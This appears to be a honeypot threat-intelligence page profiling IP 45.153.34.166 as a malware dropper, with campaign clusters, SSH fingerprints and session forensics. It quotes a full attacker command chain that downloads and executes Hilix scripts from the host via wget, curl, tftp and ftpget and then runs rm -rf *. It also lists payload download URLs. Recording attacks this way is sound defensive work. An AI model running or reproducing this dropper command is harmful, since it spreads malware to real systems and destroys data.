← Back to feed
45.153.34.166
TAGGED MALICIOUS how we decide →
Why: Our sensors observed malware dropper sessions · certainty: inferred
Assessment
Malware dropper: logs in and downloads payloads
- Downloaded 10 files and ran 1 commands on the host.
- Runs the same SSH client fingerprint (HASSH) as 67 other IPs.
Generated from the counts on this page by fixed rules; each line cites the number it rests on.
Location
🇳🇱 NL / Amsterdam
ASN
AS197170 · TechTies Inc.
Cloud Provider
—
Total Events
19
Average by volume
Agent Count
1
First / Last Seen
2026-10-15 11:25 — 2026-10-15 11:27
Attack Types
MITRE ATT&CK Techniques
External Corroboration
Not flagged by any external feeds
Campaigns
Subnet 45.153.34.0/24
SUBNET
Active
high
🇳🇱 NL
5 IPs
933 events
ssh:bruteforcessh:connectionssh:malwaressh:proxy-abusetelnet:bruteforcetelnet:connectiontelnet:intrusion
2026-03-01 — 2026-04-23 · 5 IPs from the same /24 subnet (45.153.34.0/24) were observed attacking our sensors within the same time window. …
HASSH 16443846184e… — SSH-2.0-Go (68 IPs, 20 countries)
HASSH
Active
high
🇺🇸 US
68 IPs
133038 events
ftp:bruteforcemysql:bruteforcessh:bruteforcessh:connectionssh:intrusionssh:malwaretelnet:bruteforcetelnet:connectiontelnet:intrusiontelnet:malware
2026-02-22 — ongoing · 68 IPs are running an identical SSH client (HASSH fingerprint 16443846184e…). Top network: DigitalOcean, LLC (AS14061). Geographic and …
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
1.0
Commands Executed
1
Files Downloaded
10
Notable Commands
- cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.153.34.166/Hilix.sh; curl -O http://45.153.34.166/Hilix.sh; chmod 777 Hilix.sh; sh Hilix.sh; tftp 45.153.34.166 -c get Hilix.sh; chmod 777 Hilix.sh; sh Hilix.sh; tftp -r Hilix2.sh -g 45.153.34.166; chmod 777 Hilix2.sh; sh Hilix2.sh; ftpget -v -u anonymous -p anonymous -P 21 45.153.34.166 Hilix1.sh Hilix1.sh; sh Hilix1.sh; rm -rf Hilix.sh Hilix.sh Hilix2.sh Hilix1.sh; rm -rf *
Download URLs
- http://45.153.34.166/Hilix.sh
- http://45.153.34.166/bins/Hilix.x86
- http://45.153.34.166/bins/Hilix.mips
- http://45.153.34.166/bins/Hilix.mpsl
- http://45.153.34.166/bins/Hilix.arm4
Fingerprints
1 SSH client banner · 1 HASSH fingerprint
HASSH
SSH Client
Evidence Timeline
Malware Dropper
045cac23c2e1
LOGIN
1
10
1
100%
Loading events...
HASSH 16443846184eafd…
SSH-2.0-Go
$ cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget…
http://45.153.34.166/Hilix.shhttp://45.153.34.166/Hilix.shhttp://45.153.34.166/bins/Hilix.x86